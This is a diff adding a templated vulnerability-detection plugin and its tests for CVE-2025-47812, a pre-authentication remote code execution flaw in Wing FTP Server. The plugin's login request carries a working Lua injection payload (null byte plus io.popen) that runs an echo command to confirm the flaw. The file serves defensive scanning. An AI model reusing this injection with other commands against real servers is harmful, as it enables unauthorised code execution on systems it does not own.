diff --git a/templated/templateddetector/plugins/cve/2025/WingFtp_CVE_2025_47812.textproto b/templated/templateddetector/plugins/cve/2025/WingFtp_CVE_2025_47812.textproto new file mode 100644 index 000000000..3009bb9e1 --- /dev/null +++ b/templated/templateddetector/plugins/cve/2025/WingFtp_CVE_2025_47812.textproto @@ -0,0 +1,136 @@ +# proto-file: proto/templated_plugin.proto +# proto-message: TemplatedPlugin + +############### +# PLUGIN INFO # +############### + +info: { + type: VULN_DETECTION + name: "WingFtp_CVE_2025_47812" + author: "fuzzychick" + version: "1.0" +} + +finding: { + main_id: { + publisher: "GOOGLE" + value: "WINGFTP_CVE_2025_47812" + } + severity: CRITICAL + title: "Wing FTP Server is vulnerable to remote code execution" + description: "The instance of Wing FTP Server is vulnerable to pre-authentication remote code execution (CVE-2025-47812). This detection executes a safe echo payload to verify remote command execution without performing destructive actions." + recommendation: "Update to a version 7.4.4 or later." + related_id: { + publisher: "CVE" + value: "CVE-2025-47812" + } +} + +config: { +} + +############### +# ACTIONS # +############### + +# Action: Fingerprint Wing FTP Server +actions: { + name: "fingerprint_wingftp" + http_request: { + method: GET + uri: "/" + response: { + http_status: 200 + expect_all: { + conditions: [ + { header: { name: "Server" } contains: "Wing FTP Server" } + ] + } + } + } +} + +# Action: POST to /loginok.html with crafted username payload +actions: { + name: "get_UID_cookie" + http_request: { + method: POST + uri: "/loginok.html" + headers: [ + { name: "User-Agent" value: "Mozilla/5.0 (X11; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0" }, + { name: "Accept" value: "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" }, + { name: "Accept-Language" value: "en-US,en;q=0.5" }, + { name: "Accept-Encoding" value: "gzip, deflate, br" }, + { name: "Content-Type" value: "application/x-www-form-urlencoded" }, + { name: "Origin" value: "{{ T_NS_BASEURL }}" }, + { name: "Connection" value: "keep-alive" }, + { name: "Referer" value: "{{ T_NS_BASEURL }}/login.html?lang=english" }, + { name: "Cookie" value: "client_lang=english" }, + { name: "Upgrade-Insecure-Requests" value: "1" }, + { name: "Priority" value: "u=0, i" } + ] + data: "username={{ username }}%00]]%0dlocal+h+%3d+io.popen(\"{{ payload }}\")%0dlocal+r+%3d+h%3aread('*a')%0dh%3aclose()%0dprint(r)%0d--&password=" + response: { + http_status: 200 + extract_all: { + patterns: [ + { + from_header: { name: "Set-Cookie" } + regexp: "UID=([a-f0-9]+)" + variable_name: "uid" + } + ] + } + } + } +} + +# Action: POST to /dir.html with the UID cookie to retrieve command output +actions: { + name: "trigger_rce_via_dir" + http_request: { + method: POST + uri: "/dir.html" + headers: [ + { name: "User-Agent" value: "Mozilla/5.0 (X11; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0" }, + { name: "Accept" value: "text/html,application/xhtml+xml,application/xml" }, + { name: "Accept-Language" value: "en-US,en;q=0.5" }, + { name: "Accept-Encoding" value: "gzip, deflate, br" }, + { name: "Content-Type" value: "application/x-www-form-urlencoded" }, + { name: "Origin" value: "{{ T_NS_BASEURL }}" }, + { name: "Connection" value: "keep-alive" }, + { name: "Referer" value: "{{ T_NS_BASEURL }}/login.html?lang=english" }, + { name: "Cookie" value: "client_lang=english; UID={{ uid }}" }, + { name: "Upgrade-Insecure-Requests" value: "1" }, + { name: "Priority" value: "u=0, i" } + ] + data: "1" + response: { + http_status: 200 + expect_all: { + conditions: [ + { body: {} contains: "{{ payload_result }}" } + ] + } + } + } +} + +############# +# WORKFLOWS # +############# + +workflows: { + variables: [ + { name: "username" value: "anonymous" }, + { name: "payload" value: "echo tsunami$((7*7))" }, + { name: "payload_result" value: "tsunami49" } + ] + + actions: [ + "fingerprint_wingftp", + "get_UID_cookie", + "trigger_rce_via_dir" + ] +} diff --git a/templated/templateddetector/plugins/cve/2025/WingFtp_CVE_2025_47812_test.textproto b/templated/templateddetector/plugins/cve/2025/WingFtp_CVE_2025_47812_test.textproto new file mode 100644 index 000000000..6a5f254d7 --- /dev/null +++ b/templated/templateddetector/plugins/cve/2025/WingFtp_CVE_2025_47812_test.textproto @@ -0,0 +1,106 @@ +# proto-file: proto/templated_plugin_tests.proto +# proto-message: TemplatedPluginTests + +config: { + tested_plugin: "WingFtp_CVE_2025_47812" +} + +tests: { + name: "whenVulnerable_returnsTrue" + expect_vulnerability: true + + mock_callback_server: { + enabled: false + has_interaction: false + } + + mock_http_server: { + mock_responses: [ + { + uri: "/" + status: 200 + headers: [ + { name: "Server" value: "Wing FTP Server/7.1.0" } + ] + }, + { + uri: "/loginok.html" + status: 200 + headers: [ + { name: "Set-Cookie" value: "client_lang=english; Path=/; HttpOnly" }, + { name: "Set-Cookie" value: "UID=1a2b3c4d5e6f; Path=/; HttpOnly" } + ] + }, + { + uri: "/dir.html" + status: 200 + body_content: "Directory listing...
tsunami49
" + } + ] + } +} + +tests: { + name: "whenLoginReturnsNoUID_thenReturnsFalse" + expect_vulnerability: false + + mock_callback_server: { + enabled: false + has_interaction: false + } + + mock_http_server: { + mock_responses: [ + { + uri: "/" + status: 200 + headers: [ + { name: "Server" value: "Wing FTP Server/7.1.0" } + ] + body_content: "Welcome to Wing FTP Server" + }, + { + uri: "/loginok.html" + status: 200 + headers: [ + { name: "Set-Cookie" value: "client_lang=english; Path=/; HttpOnly" } + # NOTE: intentionally no UID cookie returned + ] + body_content: "login ok (no uid)" + }, + { + uri: "/dir.html" + status: 200 + body_content: "Directory listing...
no output
" + } + ] + } +} + +tests: { + name: "whenNotWingFtp_returnsFalse" + expect_vulnerability: false + + mock_callback_server: { + enabled: false + has_interaction: false + } + + mock_http_server: { + mock_responses: [ + { + uri: "/" + status: 200 + headers: [ + { name: "Server" value: "SomeOtherServer/1.2.3" } + ] + body_content: "Some Other App" + }, + { + uri: "TSUNAMI_MAGIC_ANY_URI" + status: 200 + body_content: "Hello world" + } + ] + } +}